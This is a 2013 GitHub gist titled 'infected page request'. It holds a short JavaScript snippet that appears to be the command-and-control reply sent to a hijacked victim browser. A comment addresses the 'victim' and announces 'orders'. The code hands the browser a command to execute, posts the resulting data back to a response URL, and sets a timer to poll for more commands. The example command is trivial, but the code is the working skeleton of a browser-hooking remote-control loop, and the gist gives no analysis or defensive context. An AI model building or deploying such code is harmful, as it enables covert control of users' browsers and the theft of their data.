Skip to content

Instantly share code, notes, and snippets.

@fconcklin
Created September 17, 2013 18:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fconcklin/6598511 to your computer and use it in GitHub Desktop.
Save fconcklin/6598511 to your computer and use it in GitHub Desktop.
infected page request
var json = // Hello victim. These are your orders. Resistance is futile.
(
{
'code': '(window.mpc)? window.mpc++ : window.mpc = 1;'
, 'parameters': { }
}
);
var cl = window.client;
var modulo = cl.receive (json);
if (modulo) {
if (modulo.postString&&(modulo.postString!="")) {
cl.sendData (modulo.params.responseUrl, modulo.postString, "post");
}
}
//setTimeout(cl.send, cl._poolingPeriod);
setTimeout("cl.send()", cl._poolingPeriod);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment